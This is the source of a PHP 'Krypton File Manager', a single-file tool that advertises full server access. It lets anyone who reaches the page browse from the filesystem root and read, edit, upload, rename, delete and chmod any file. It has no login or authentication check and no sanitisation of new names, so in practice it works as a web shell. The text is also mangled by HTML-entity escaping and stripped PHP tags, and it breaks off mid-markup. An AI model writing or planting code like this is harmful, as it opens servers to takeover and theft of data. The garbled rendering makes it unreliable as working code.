/** * Krypton File Manager * A single-file PHP file manager with full server access and enhanced features */// Start sessionsession_start();// Configurationdefine(&#039;VERSION&#039;, &#039;1.0.0&#039;);define(&#039;MAX_UPLOAD_SIZE&#039;, 100 * 1024 * 1024); // 100MB max upload sizedefine(&#039;ENCRYPTION_KEY&#039;, &#039;RCnFfs06w3ItXaCn7BWvyyFE1Rxdmz&#039;); // Change this to a random string for securitydefine(&#039;SESSION_TIMEOUT&#039;, 1800); // 30 minutes session timeout// Check if encryption key is default and show warning$encryptionKeyWarning = &#039;&#039;;if (ENCRYPTION_KEY === &#039;change_this_to_a_random_string&#039;) {    $encryptionKeyWarning = &#039;Warning: Default encryption key is being used. Please change it for security.&#039;;}// Session timeout checkif (isset($_SESSION[&#039;last_activity&#039;]) &amp;&amp; (time() - $_SESSION[&#039;last_activity&#039;] &gt; SESSION_TIMEOUT)) {    // Session expired    session_unset();    session_destroy();}$_SESSION[&#039;last_activity&#039;] = time(); // Update last activity time// Encryption and decryption functionsfunction encryptPath($path) {    $iv = openssl_random_pseudo_bytes(16);    $encrypted = openssl_encrypt($path, &#039;AES-256-CBC&#039;, ENCRYPTION_KEY, 0, $iv);    return base64_encode($encrypted . &#039;::&#039; . base64_encode($iv));}function decryptPath($encryptedPath) {    try {        $decoded = base64_decode($encryptedPath);        if ($decoded === false) {            return getcwd(); // Default to current directory if decoding fails        }                if (strpos($decoded, &#039;::&#039;) === false) {            return getcwd(); // Default to current directory if separator not found        }                list($encrypted_data, $iv_b64) = explode(&#039;::&#039;, $decoded, 2);        $iv = base64_decode($iv_b64);                if ($iv === false || strlen($iv) !== 16) {            return getcwd(); // Default to current directory if IV is invalid        }                $decrypted = openssl_decrypt($encrypted_data, &#039;AES-256-CBC&#039;, ENCRYPTION_KEY, 0, $iv);                if ($decrypted === false) {            return getcwd(); // Default to current directory if decryption fails        }                return $decrypted;    } catch (Exception $e) {        return getcwd(); // Default to current directory on any exception    }}// Function to get human-readable file sizefunction formatFileSize($bytes) {    if ($bytes &gt;= 1073741824) {        return number_format($bytes / 1073741824, 2) . &#039; GB&#039;;    } elseif ($bytes &gt;= 1048576) {        return number_format($bytes / 1048576, 2) . &#039; MB&#039;;    } elseif ($bytes &gt;= 1024) {        return number_format($bytes / 1024, 2) . &#039; KB&#039;;    } else {        return $bytes . &#039; bytes&#039;;    }}// Function to get file permissions in Unix formatfunction getFilePermissions($file) {    $perms = fileperms($file);        if (($perms &amp; 0xC000) == 0xC000) {        // Socket        $info = &#039;s&#039;;    } elseif (($perms &amp; 0xA000) == 0xA000) {        // Symbolic Link        $info = &#039;l&#039;;    } elseif (($perms &amp; 0x8000) == 0x8000) {        // Regular        $info = &#039;-&#039;;    } elseif (($perms &amp; 0x6000) == 0x6000) {        // Block special        $info = &#039;b&#039;;    } elseif (($perms &amp; 0x4000) == 0x4000) {        // Directory        $info = &#039;d&#039;;    } elseif (($perms &amp; 0x2000) == 0x2000) {        // Character special        $info = &#039;c&#039;;    } elseif (($perms &amp; 0x1000) == 0x1000) {        // FIFO pipe        $info = &#039;p&#039;;    } else {        // Unknown        $info = &#039;u&#039;;    }        // Owner    $info .= (($perms &amp; 0x0100) ? &#039;r&#039; : &#039;-&#039;);    $info .= (($perms &amp; 0x0080) ? &#039;w&#039; : &#039;-&#039;);    $info .= (($perms &amp; 0x0040) ?                (($perms &amp; 0x0800) ? &#039;s&#039; : &#039;x&#039; ) :                (($perms &amp; 0x0800) ? &#039;S&#039; : &#039;-&#039;));        // Group    $info .= (($perms &amp; 0x0020) ? &#039;r&#039; : &#039;-&#039;);    $info .= (($perms &amp; 0x0010) ? &#039;w&#039; : &#039;-&#039;);    $info .= (($perms &amp; 0x0008) ?                (($perms &amp; 0x0400) ? &#039;s&#039; : &#039;x&#039; ) :                (($perms &amp; 0x0400) ? &#039;S&#039; : &#039;-&#039;));        // World    $info .= (($perms &amp; 0x0004) ? &#039;r&#039; : &#039;-&#039;);    $info .= (($perms &amp; 0x0002) ? &#039;w&#039; : &#039;-&#039;);    $info .= (($perms &amp; 0x0001) ?                (($perms &amp; 0x0200) ? &#039;t&#039; : &#039;x&#039; ) :                (($perms &amp; 0x0200) ? &#039;T&#039; : &#039;-&#039;));        return $info;}// Function to get file extensionfunction getFileExtension($filename) {    return strtolower(pathinfo($filename, PATHINFO_EXTENSION));}// Function to check if a file is editablefunction isEditableFile($filename) {    /*    $editableExtensions = [&#039;txt&#039;, &#039;php&#039;, &#039;html&#039;, &#039;htm&#039;, &#039;css&#039;, &#039;js&#039;, &#039;json&#039;, &#039;xml&#039;, &#039;md&#039;, &#039;ini&#039;, &#039;conf&#039;, &#039;log&#039;, &#039;sql&#039;, &#039;htaccess&#039;];    $extension = getFileExtension($filename);    return in_array($extension, $editableExtensions);    */    return true;}// Process actions$error = &#039;&#039;;$success = &#039;&#039;;// Get and decrypt the path parameter$currentPath = getcwd(); // Default path// Check if there&#039;s a current path in the sessionif (isset($_SESSION[&#039;current_path&#039;]) &amp;&amp; file_exists($_SESSION[&#039;current_path&#039;]) &amp;&amp; is_dir($_SESSION[&#039;current_path&#039;])) {    $currentPath = $_SESSION[&#039;current_path&#039;];}// Handle POST request for navigationif ($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039;) {    // Store current path for form submissions    if (isset($_POST[&#039;current_path&#039;])) {        $decryptedCurrentPath = decryptPath($_POST[&#039;current_path&#039;]);        if (file_exists($decryptedCurrentPath) &amp;&amp; is_dir($decryptedCurrentPath)) {            $currentPath = $decryptedCurrentPath;            $_SESSION[&#039;current_path&#039;] = $currentPath;        }    }        if (isset($_POST[&#039;action&#039;])) {        // Handle file content request for editing        if ($_POST[&#039;action&#039;] === &#039;getContent&#039; &amp;&amp; isset($_POST[&#039;path&#039;])) {            $filePath = decryptPath($_POST[&#039;path&#039;]);            if (file_exists($filePath) &amp;&amp; !is_dir($filePath) &amp;&amp; isEditableFile(basename($filePath))) {                echo file_get_contents($filePath);                exit;            } else {                echo &quot;Error: Cannot read file.&quot;;                exit;            }        }                // Handle navigation        if ($_POST[&#039;action&#039;] === &#039;navigate&#039; &amp;&amp; isset($_POST[&#039;path&#039;])) {            $decryptedPath = decryptPath($_POST[&#039;path&#039;]);            if (file_exists($decryptedPath) &amp;&amp; is_dir($decryptedPath)) {                $currentPath = $decryptedPath;                $_SESSION[&#039;current_path&#039;] = $currentPath;            }        }                // Handle file download        if ($_POST[&#039;action&#039;] === &#039;download&#039; &amp;&amp; isset($_POST[&#039;path&#039;])) {            $downloadPath = decryptPath($_POST[&#039;path&#039;]);                        if (file_exists($downloadPath) &amp;&amp; !is_dir($downloadPath)) {                // Set headers for file download                header(&#039;Content-Description: File Transfer&#039;);                header(&#039;Content-Type: application/octet-stream&#039;);                header(&#039;Content-Disposition: attachment; filename=&quot;&#039; . basename($downloadPath) . &#039;&quot;&#039;);                header(&#039;Content-Transfer-Encoding: binary&#039;);                header(&#039;Expires: 0&#039;);                header(&#039;Cache-Control: must-revalidate, post-check=0, pre-check=0&#039;);                header(&#039;Pragma: public&#039;);                header(&#039;Content-Length: &#039; . filesize($downloadPath));                ob_clean();                flush();                readfile($downloadPath);                exit;            }        }    }        // Handle file upload    if (isset($_POST[&#039;upload&#039;])) {        if (isset($_FILES[&#039;file&#039;]) &amp;&amp; $_FILES[&#039;file&#039;][&#039;error&#039;] === UPLOAD_ERR_OK) {            $uploadPath = $currentPath . &#039;/&#039; . basename($_FILES[&#039;file&#039;][&#039;name&#039;]);                        if (move_uploaded_file($_FILES[&#039;file&#039;][&#039;tmp_name&#039;], $uploadPath)) {                $success = &#039;File uploaded successfully.&#039;;            } else {                $error = &#039;Failed to upload file.&#039;;            }        } else {            $error = &#039;No file selected or upload error.&#039;;        }    }        // Handle file/directory deletion    if (isset($_POST[&#039;delete&#039;]) &amp;&amp; isset($_POST[&#039;path&#039;])) {        $deletePath = decryptPath($_POST[&#039;path&#039;]);                if (file_exists($deletePath)) {            if (is_dir($deletePath)) {                // Try to remove directory                if (rmdir($deletePath)) {                    $success = &#039;Directory deleted successfully.&#039;;                } else {                    $error = &#039;Failed to delete directory. It may not be empty.&#039;;                }            } else {                // Remove file                if (unlink($deletePath)) {                    $success = &#039;File deleted successfully.&#039;;                } else {                    $error = &#039;Failed to delete file.&#039;;                }            }        } else {            $error = &#039;File or directory does not exist.&#039;;        }    }        // Handle file/directory rename    if (isset($_POST[&#039;rename&#039;]) &amp;&amp; isset($_POST[&#039;oldPath&#039;]) &amp;&amp; isset($_POST[&#039;newName&#039;])) {        $oldPath = decryptPath($_POST[&#039;oldPath&#039;]);        $newName = $_POST[&#039;newName&#039;];        $dirName = dirname($oldPath);        $newPath = $dirName . &#039;/&#039; . $newName;                if (file_exists($oldPath)) {            if (rename($oldPath, $newPath)) {                $success = &#039;Renamed successfully.&#039;;            } else {                $error = &#039;Failed to rename.&#039;;            }        } else {            $error = &#039;File or directory does not exist.&#039;;        }    }        // Handle permission change    if (isset($_POST[&#039;changePermissions&#039;]) &amp;&amp; isset($_POST[&#039;permPath&#039;]) &amp;&amp; isset($_POST[&#039;permissions&#039;])) {        $permPath = decryptPath($_POST[&#039;permPath&#039;]);        $permissions = $_POST[&#039;permissions&#039;];                // Convert from octal string to integer        $mode = octdec($permissions);                if (file_exists($permPath)) {            if (chmod($permPath, $mode)) {                $success = &#039;Permissions changed successfully.&#039;;            } else {                $error = &#039;Failed to change permissions.&#039;;            }        } else {            $error = &#039;File or directory does not exist.&#039;;        }    }        // Handle file edit    if (isset($_POST[&#039;saveFile&#039;]) &amp;&amp; isset($_POST[&#039;filePath&#039;]) &amp;&amp; isset($_POST[&#039;fileContent&#039;])) {        $filePath = decryptPath($_POST[&#039;filePath&#039;]);        $fileContent = $_POST[&#039;fileContent&#039;];                if (file_exists($filePath) &amp;&amp; !is_dir($filePath)) {            if (file_put_contents($filePath, $fileContent) !== false) {                $success = &#039;File saved successfully.&#039;;            } else {                $error = &#039;Failed to save file.&#039;;            }        } else {            $error = &#039;File does not exist.&#039;;        }    }        // Handle create new file    if (isset($_POST[&#039;createFile&#039;]) &amp;&amp; isset($_POST[&#039;newFileName&#039;])) {        $newFileName = $_POST[&#039;newFileName&#039;];        $newFilePath = $currentPath . &#039;/&#039; . $newFileName;                if (!file_exists($newFilePath)) {            if (file_put_contents($newFilePath, &#039;&#039;) !== false) {                $success = &#039;File created successfully.&#039;;            } else {                $error = &#039;Failed to create file.&#039;;            }        } else {            $error = &#039;File already exists.&#039;;        }    }        // Handle create new folder    if (isset($_POST[&#039;createFolder&#039;]) &amp;&amp; isset($_POST[&#039;newFolderName&#039;])) {        $newFolderName = $_POST[&#039;newFolderName&#039;];        $newFolderPath = $currentPath . &#039;/&#039; . $newFolderName;                if (!file_exists($newFolderPath)) {            if (mkdir($newFolderPath, 0755)) {                $success = &#039;Folder created successfully.&#039;;            } else {                $error = &#039;Failed to create folder.&#039;;            }        } else {            $error = &#039;Folder already exists.&#039;;        }    }}// Save current path to session$_SESSION[&#039;current_path&#039;] = $currentPath;// Get directory contents$items = [];if (is_dir($currentPath)) {    if ($handle = opendir($currentPath)) {        while (false !== ($entry = readdir($handle))) {            if ($entry != &quot;.&quot; &amp;&amp; $entry != &quot;..&quot;) {                $fullPath = $currentPath . &#039;/&#039; . $entry;                $isDir = is_dir($fullPath);                                try {                    $size = $isDir ? &#039;-&#039; : formatFileSize(filesize($fullPath));                    $permissions = getFilePermissions($fullPath);                    $lastModified = date(&#039;Y-m-d H:i:s&#039;, filemtime($fullPath));                                        $items[] = [                        &#039;name&#039; =&gt; $entry,                        &#039;path&#039; =&gt; $fullPath,                        &#039;encryptedPath&#039; =&gt; encryptPath($fullPath),                        &#039;isDirectory&#039; =&gt; $isDir,                        &#039;size&#039; =&gt; $size,                        &#039;permissions&#039; =&gt; $permissions,                        &#039;lastModified&#039; =&gt; $lastModified,                        &#039;isEditable&#039; =&gt; !$isDir &amp;&amp; isEditableFile($entry)                    ];                } catch (Exception $e) {                    // Skip files that can&#039;t be accessed                    continue;                }            }        }        closedir($handle);    }}// Sort items: directories first, then filesusort($items, function($a, $b) {    if ($a[&#039;isDirectory&#039;] &amp;&amp; !$b[&#039;isDirectory&#039;]) {        return -1;    }    if (!$a[&#039;isDirectory&#039;] &amp;&amp; $b[&#039;isDirectory&#039;]) {        return 1;    }    return strcasecmp($a[&#039;name&#039;], $b[&#039;name&#039;]);});// Get breadcrumb parts$breadcrumbs = [];$pathParts = explode(&#039;/&#039;, $currentPath);$buildPath = &#039;&#039;;foreach ($pathParts as $part) {    if (empty($part)) {        $buildPath = &#039;/&#039;;        $breadcrumbs[] = [            &#039;name&#039; =&gt; &#039;Root&#039;,            &#039;path&#039; =&gt; $buildPath,            &#039;encryptedPath&#039; =&gt; encryptPath($buildPath)        ];    } else {        $buildPath .= ($buildPath === &#039;/&#039;) ? $part : &#039;/&#039; . $part;        $breadcrumbs[] = [            &#039;name&#039; =&gt; $part,            &#039;path&#039; =&gt; $buildPath,            &#039;encryptedPath&#039; =&gt; encryptPath($buildPath)        ];    }}// Get the script&#039;s directory for the Home button$homeDirectory = dirname($_SERVER[&#039;SCRIPT_FILENAME&#039;]);$encryptedHomeDirectory = encryptPath($homeDirectory);// Encrypt current path for forms$encryptedCurrentPath = encryptPath($currentPath);&lt;!DOCTYPE html&gt;&lt;html lang=&quot;en&quot;&gt;<head>    &lt;meta charset=&quot;UTF-8&quot;&gt;    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;<title>Krypton File Manager</title>    &lt;title&gt;Krypton File Manager&lt;/title&gt;    &lt;style&gt;        /* Base styles and reset */        * {            margin: 0;            padding: 0;            box-sizing: border-box;            font-family: &#039;Inter&#039;, &#039;Roboto&#039;, &#039;Helvetica&#039;, sans-serif;        }                body {            background-image: url(&#039;https://w.wallhaven.cc/full/ex/wallhaven-exd3w8.png&#039;);            background-size: cover;            background-position: center;            background-repeat: no-repeat;            background-color: #f9f9f9;            /* Fallback color */            color: #333333;            line-height: 1.6;        }        .container {            max-width: 1200px;            margin: 0 auto;            padding: 0 20px;        }                /* Navigation bar */        .navbar {            background-color: #ffffff;            box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);            padding: 15px 0;            position: sticky;            top: 0;            z-index: 100;        }                .navbar-content {            display: flex;            align-items: center;            justify-content: space-between;        }                .navbar h1 {            color: #333333;            font-size: 1.5rem;            font-weight: 500;        }                .version {            font-size: 0.8rem;            color: #777;            margin-left: 10px;        }                .navbar-actions {            display: flex;            gap: 10px;        }                .home-btn {            background-color: #4a6cf7;            color: white;            border: none;            padding: 8px 15px;            border-radius: 6px;            cursor: pointer;            font-weight: 500;            text-decoration: none;            display: inline-flex;            align-items: center;            transition: all 0.2s ease;        }                .home-btn:hover {            background-color: #3a5ce5;            transform: translateY(-2px);            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);        }                .home-icon {            margin-right: 5px;        }                /* Breadcrumb navigation */        .breadcrumb {            display: flex;            align-items: center;            padding: 12px 0;            margin-bottom: 15px;            overflow-x: auto;            white-space: nowrap;        }                .breadcrumb-item {            display: flex;            align-items: center;        }                .breadcrumb-item a {            color: #4a6cf7;            text-decoration: none;            padding: 5px 8px;            border-radius: 4px;            transition: background-color 0.2s;            cursor: pointer;        }                .breadcrumb-item a:hover {            background-color: rgba(74, 108, 247, 0.1);        }                .breadcrumb-separator {            margin: 0 5px;            color: #999;        }                .breadcrumb-current {            font-weight: 500;            padding: 5px 8px;        }                /* Section styling */        .section {            background-color: rgba(255, 255, 255, 0.9);            border-radius: 8px;            box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);            padding: 20px;            margin-bottom: 20px;            box-shadow: rgba(50, 50, 93, 0.25) 0px 2px 5px -1px, rgba(0, 0, 0, 0.3) 0px 1px 3px -1px;        }                .section-header {            display: flex;            justify-content: space-between;            align-items: center;            margin-bottom: 15px;        }                .section-title {            font-size: 1.1rem;            color: #333333;            font-weight: 500;        }                .section-actions {            display: flex;            gap: 10px;        }                /* Upload form */        .upload-form {            display: flex;            flex-wrap: wrap;            gap: 10px;            align-items: center;        }                .upload-form input[type=&quot;file&quot;] {            flex: 1;            min-width: 200px;            padding: 10px;            border: 1px solid #e0e0e0;            border-radius: 6px;            background-color: #ffffff;        }                .btn {            background-color: #4a6cf7;            color: white;            border: none;            padding: 10px 20px;            border-radius: 6px;            cursor: pointer;            font-weight: 500;            transition: all 0.2s ease;        }                .btn:hover {            background-color: #3a5ce5;            transform: translateY(-2px);            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);        }                .btn-sm {            padding: 6px 12px;            font-size: 0.9rem;        }                .btn-success {            background-color: #28a745;        }                .btn-success:hover {            background-color: #218838;        }                /* File list table */        .file-table-container {            overflow-x: auto;        }                .file-table {            width: 100%;            border-collapse: collapse;            margin-top: 10px;        }                .file-table th {            background-color: #f5f5f5;            padding: 12px 15px;            text-align: left;            font-weight: 500;            border-bottom: 1px solid #e0e0e0;            position: relative;        }                .file-table td {            padding: 12px 15px;            border-bottom: 1px solid #e0e0e0;        }                .file-table tr:hover {            background-color: #f5f7ff;        }                .file-name {            display: flex;            align-items: center;            gap: 8px;        }                .folder-icon::before {            content: &quot;📁&quot;;        }                .file-icon::before {            content: &quot;📄&quot;;        }                /* Action buttons */        .action-buttons {            display: flex;            gap: 8px;        }                .action-btn {            background: none;            border: none;            cursor: pointer;            font-size: 1rem;            color: #555;            transition: all 0.2s ease;            width: 28px;            height: 28px;            display: flex;            align-items: center;            justify-content: center;            border-radius: 4px;        }                .action-btn:hover {            background-color: #f0f0f0;            color: #333;        }                /* Modal styles */        .modal {            display: none;            position: fixed;            top: 0;            left: 0;            width: 100%;            height: 100%;            background-color: rgba(0, 0, 0, 0.5);            z-index: 1000;            justify-content: center;            align-items: center;        }                .modal-content {            background-color: white;            padding: 25px;            border-radius: 8px;            width: 90%;            max-width: 400px;            box-shadow: 0 4px 20px rgba(0, 0, 0, 0.15);        }                .modal-content.modal-lg {            max-width: 800px;            height: 80%;            display: flex;            flex-direction: column;        }                .modal-title {            font-size: 1.2rem;            margin-bottom: 15px;            font-weight: 500;        }                .modal-form {            display: flex;            flex-direction: column;            gap: 15px;        }                .editor-form {            display: flex;            flex-direction: column;            gap: 15px;            flex-grow: 1;        }                .form-group {            display: flex;            flex-direction: column;            gap: 5px;        }                .form-group label {            font-weight: 500;        }                .form-group input {            padding: 8px 12px;            border: 1px solid #ddd;            border-radius: 4px;        }                .form-group textarea {            flex-grow: 1;            padding: 12px;            border: 1px solid #ddd;            border-radius: 4px;            font-family: &#039;Courier New&#039;, monospace;            font-size: 14px;            resize: none;        }                .modal-actions {            display: flex;            justify-content: flex-end;            gap: 10px;            margin-top: 20px;        }                .btn-cancel {            background-color: #f0f0f0;            color: #333;        }                .btn-cancel:hover {            background-color: #e0e0e0;        }                /* Alerts */        .alert {            padding: 12px 15px;            margin-bottom: 15px;            border-radius: 4px;            font-weight: 500;        }                .alert-success {            background-color: #d4edda;            color: #155724;            border: 1px solid #c3e6cb;        }                .alert-error {            background-color: #f8d7da;            color: #721c24;            border: 1px solid #f5c6cb;        }                .alert-warning {            background-color: #fff3cd;            color: #856404;            border: 1px solid #ffeeba;        }                /* Footer */        .footer {            text-align: center;            padding: 20px 0;            color: #777;            font-size: 0.9rem;        }                /* Loading overlay */        .loading-overlay {            display: none;            position: fixed;            top: 0;            left: 0;            width: 100%;            height: 100%;            background-color: rgba(0, 0, 0, 0.5);            z-index: 2000;            justify-content: center;            align-items: center;        }                .spinner {            width: 50px;            height: 50px;            border: 5px solid #f3f3f3;            border-top: 5px solid #3498db;            border-radius: 50%;            animation: spin 1s linear infinite;        }                @keyframes spin {            0% { transform: rotate(0deg); }            100% { transform: rotate(360deg); }        }                /* Responsive design */        @media (max-width: 768px) {            .upload-form {                flex-direction: column;                align-items: stretch;            }                        .upload-form input[type=&quot;file&quot;] {                width: 100%;            }                        .action-buttons {                flex-wrap: wrap;            }                        .section-header {                flex-direction: column;                align-items: flex-start;                gap: 10px;            }                        .section-actions {                width: 100%;            }                        .btn {                width: 100%;            }        }    &lt;/style&gt;</head><body>    &lt;!-- Loading Overlay --&gt;    &lt;div id=&quot;loadingOverlay&quot; class=&quot;loading-overlay&quot;&gt;        &lt;div class=&quot;spinner&quot;&gt;&lt;/div&gt;    &lt;/div&gt;    &lt;!-- Navigation Bar --&gt;    &lt;nav class=&quot;navbar&quot;&gt;        &lt;div class=&quot;container navbar-content&quot;&gt;            <h1>Krypton &lt;span class=&quot;version&quot;&gt;v echo VERSION; &lt;/span&gt;</h1>            &lt;div class=&quot;navbar-actions&quot;&gt;                &lt;button onclick=&quot;navigateTo(&#039; echo $encryptedHomeDirectory; &#039;)&quot; class=&quot;home-btn&quot;&gt;                    &lt;span class=&quot;home-icon&quot;&gt;🏠&lt;/span&gt; Home                &lt;/button&gt;            &lt;/div&gt;        &lt;/div&gt;    &lt;/nav&gt;        &lt;div class=&quot;container&quot;&gt;        &lt;!-- Alerts --&gt;         if (!empty($encryptionKeyWarning)):         &lt;div class=&quot;alert alert-warning&quot;&gt; echo $encryptionKeyWarning; &lt;/div&gt;         endif;                  if (!empty($success)):         &lt;div class=&quot;alert alert-success&quot;&gt; echo $success; &lt;/div&gt;         endif;                  if (!empty($error)):         &lt;div class=&quot;alert alert-error&quot;&gt; echo $error; &lt;/div&gt;         endif;                 &lt;!-- Breadcrumb Navigation --&gt;        &lt;div class=&quot;breadcrumb&quot;&gt;             foreach ($breadcrumbs as $index =&gt; $crumb):                  if ($index &gt; 0):                     &lt;span class=&quot;breadcrumb-separator&quot;&gt;&rsaquo;&lt;/span&gt;                 endif;                                 &lt;div class=&quot;breadcrumb-item&quot;&gt;                     if ($index === count($breadcrumbs) - 1):                         &lt;span class=&quot;breadcrumb-current&quot;&gt; echo htmlspecialchars($crumb[&#039;name&#039;]); &lt;/span&gt;                     else:                         &lt;a onclick=&quot;navigateTo(&#039; echo $crumb[&#039;encryptedPath&#039;]; &#039;)&quot;&gt; echo htmlspecialchars($crumb[&#039;name&#039;]); &lt;/a&gt;                     endif;                 &lt;/div&gt;             endforeach;         &lt;/div&gt;                &lt;!-- Upload Section --&gt;        &lt;section class=&quot;section&quot;&gt;            &lt;h2 class=&quot;section-title&quot;&gt;Upload Files</h2>            <form>                <input type=hidden>                <input type=file>                &lt;button type=&quot;submit&quot; name=&quot;upload&quot; class=&quot;btn&quot;&gt;Upload File&lt;/button&gt;            </form>        &lt;/section&gt;                &lt;!-- File List Section --&gt;        &lt;section class=&quot;section&quot;&gt;            &lt;div class=&quot;section-header&quot;&gt;                &lt;h2 class=&quot;section-title&quot;&gt;Files</h2>                &lt;div class=&quot;section-actions&quot;&gt;                    &lt;button class=&quot;btn btn-sm btn-success&quot; onclick=&quot;showCreateFileModal()&quot;&gt;New File&lt;/button&gt;                    &lt;button class=&quot;btn btn-sm&quot; onclick=&quot;showCreateFolderModal()&quot;&gt;New Folder&lt;/button&gt;                &lt;/div&gt;            &lt;/div&gt;            &lt;div class=&quot;file-table-container&quot;&gt;                &lt;table class=&quot;file-table&quot;&gt;                    &lt;thead&gt;                        <tr>                            &lt;th&gt;Filename&lt;/th&gt;                            &lt;th&gt;Size&lt;/th&gt;                            &lt;th&gt;Permissions&lt;/th&gt;                            &lt;th&gt;Last Modified&lt;/th&gt;                            &lt;th&gt;Actions&lt;/th&gt;                        </tr>                    &lt;/thead&gt;                    &lt;tbody&gt;                        &lt;!-- Parent directory link --&gt;                         if ($currentPath !== &#039;/&#039;):                         <tr>                            <td>                                &lt;div class=&quot;file-name&quot;&gt;                                    &lt;span class=&quot;folder-icon&quot;&gt;&lt;/span&gt;                                    &lt;a onclick=&quot;navigateTo(&#039; echo encryptPath(dirname($currentPath)); &#039;)&quot;&gt;..&lt;/a&gt;                                &lt;/div&gt;                            </td>                            <td>-</td>                            <td>-</td>                            <td>-</td>                            <td>-</td>                        </tr>                         endif;                                                 &lt;!-- File list --&gt;                         foreach ($items as $item):                         <tr>                            <td>                                &lt;div class=&quot;file-name&quot;&gt;                                    &lt;span class=&quot; echo $item[&#039;isDirectory&#039;] ? &#039;folder-icon&#039; : &#039;file-icon&#039;; &quot;&gt;&lt;/span&gt;                                     if ($item[&#039;isDirectory&#039;]):                                         &lt;a onclick=&quot;navigateTo(&#039; echo $item[&#039;encryptedPath&#039;]; &#039;)&quot;&gt; echo htmlspecialchars($item[&#039;name&#039;]); &lt;/a&gt;                                     else:                                          echo htmlspecialchars($item[&#039;name&#039;]);                                      endif;                                 &lt;/div&gt;                            </td>                            <td> echo $item[&#039;size&#039;]; </td>                            <td> echo $item[&#039;permissions&#039;]; </td>                            <td> echo $item[&#039;lastModified&#039;]; </td>                            <td>                                &lt;div class=&quot;action-buttons&quot;&gt;                                     if (!$item[&#039;isDirectory&#039;]):                                         &lt;button class=&quot;action-btn&quot; title=&quot;Download&quot; onclick=&quot;downloadFile(&#039; echo $item[&#039;encryptedPath&#039;]; &#039;)&quot;&gt;📥&lt;/button&gt;                                         if ($item[&#039;isEditable&#039;]):                                             &lt;button class=&quot;action-btn&quot; title=&quot;Edit&quot; onclick=&quot;showEditFileModal(&#039; echo addslashes($item[&#039;encryptedPath&#039;]); &#039;, &#039; echo addslashes($item[&#039;name&#039;]); &#039;)&quot;&gt;📝&lt;/button&gt;                                         endif;                                      endif;                                     &lt;button class=&quot;action-btn&quot; title=&quot;Rename&quot; onclick=&quot;showRenameModal(&#039; echo addslashes($item[&#039;encryptedPath&#039;]); &#039;, &#039; echo addslashes($item[&#039;name&#039;]); &#039;)&quot;&gt;✏️&lt;/button&gt;                                    &lt;button class=&quot;action-btn&quot; title=&quot;Change Permissions&quot; onclick=&quot;showPermissionsModal(&#039; echo addslashes($item[&#039;encryptedPath&#039;]); &#039;, &#039; echo addslashes($item[&#039;name&#039;]); &#039;)&quot;&gt;🔒&lt;/button&gt;                                    <form>                                        <input type=hidden>                                        <input type=hidden>                                        &lt;button type=&quot;submit&quot; name=&quot;delete&quot; class=&quot;action-btn&quot; title=&quot;Delete&quot;&gt;🗑️&lt;/button&gt;                                    </form>                                &lt;/div&gt;                            </td>                        </tr>                         endforeach;                     &lt;/tbody&gt;                </table>            &lt;/div&gt;        &lt;/section&gt;                &lt;footer class=&quot;footer&quot;&gt;            Krypton File Manager v echo VERSION;  | Single-file PHP File Manager        &lt;/footer&gt;    &lt;/div&gt;        &lt;!-- Rename Modal --&gt;    &lt;div id=&quot;renameModal&quot; class=&quot;modal&quot;&gt;        &lt;div class=&quot;modal-content&quot;&gt;            &lt;h3 class=&quot;modal-title&quot;&gt;Rename: &lt;span id=&quot;renameFileName&quot;&gt;&lt;/span&gt;</h3>            <form>                <input type=hidden>                <input type=hidden>                &lt;div class=&quot;form-group&quot;&gt;                    &lt;label for=&quot;renameNewName&quot;&gt;New Name:&lt;/label&gt;                    <input type=text>                &lt;/div&gt;                &lt;div class=&quot;modal-actions&quot;&gt;                    &lt;button type=&quot;button&quot; class=&quot;btn btn-cancel&quot; onclick=&quot;hideModal(&#039;renameModal&#039;)&quot;&gt;Cancel&lt;/button&gt;                    &lt;button type=&quot;submit&quot; name=&quot;rename&quot; class=&quot;btn&quot;&gt;Rename&lt;/button&gt;                &lt;/div&gt;            </form>        &lt;/div&gt;    &lt;/div&gt;        &lt;!-- Permissions Modal --&gt;    &lt;div id=&quot;permissionsModal&quot; class=&quot;modal&quot;&gt;        &lt;div class=&quot;modal-content&quot;&gt;            &lt;h3 class=&quot;modal-title&quot;&gt;Change Permissions: &lt;span id=&quot;permissionsFileName&quot;&gt;&lt;/span&gt;</h3>            <form>                <input type=hidden>                <input type=hidden>                &lt;div class=&quot;form-group&quot;&gt;                    &lt;label for=&quot;permissionsOctal&quot;&gt;Permissions (Octal):&lt;/label&gt;                    <input type=text>                &lt;/div&gt;                &lt;div class=&quot;modal-actions&quot;&gt;                    &lt;button type=&quot;button&quot; class=&quot;btn btn-cancel&quot; onclick=&quot;hideModal(&#039;permissionsModal&#039;)&quot;&gt;Cancel&lt;/button&gt;                    &lt;button type=&quot;submit&quot; name=&quot;changePermissions&quot; class=&quot;btn&quot;&gt;Apply&lt;/button&gt;                &lt;/div&gt;            </form>        &lt;/div&gt;    &lt;/div&gt;        &lt;!-- Edit File Modal --&gt;    &lt;div id=&quot;editFileModal&quot; class=&quot;modal&quot;&gt;        &lt;div class=&quot;modal-content modal-lg&quot;&gt;            &lt;h3 class=&quot;modal-title&quot;&gt;Edit File: &lt;span id=&quot;editFileName&quot;&gt;&lt;/span&gt;</h3>            <form>                <input type=hidden>                <input type=hidden>                &lt;div class=&quot;form-group&quot; style=&quot;flex-grow: 1; display: flex; flex-direction: column;&quot;&gt;                    &lt;textarea id=&quot;fileContent&quot; name=&quot;fileContent&quot; required&gt;&lt;/textarea&gt;                &lt;/div&gt;                &lt;div class=&quot;modal-actions&quot;&gt;                    &lt;button type=&quot;button&quot; class=&quot;btn btn-cancel&quot; onclick=&quot;hideModal(&#039;editFileModal&#039;)&quot;&gt;Cancel&lt;/button&gt;                    &lt;button type=&quot;submit&quot; name=&quot;saveFile&quot; class=&quot;btn&quot;&gt;Save&lt;/button&gt;                &lt;/div&gt;            </form>        &lt;/div&gt;    &lt;/div&gt;        &lt;!-- Create File Modal --&gt;    &lt;div id=&quot;createFileModal&quot; class=&quot;modal&quot;&gt;        &lt;div class=&quot;modal-content&quot;&gt;            &lt;h3 class=&quot;modal-title&quot;&gt;Create New File</h3>            <form>                <input type=hidden>                &lt;div class=&quot;form-group&quot;&gt;                    &lt;label for=&quot;newFileName&quot;&gt;File Name:&lt;/label&gt;                    <input type=text>                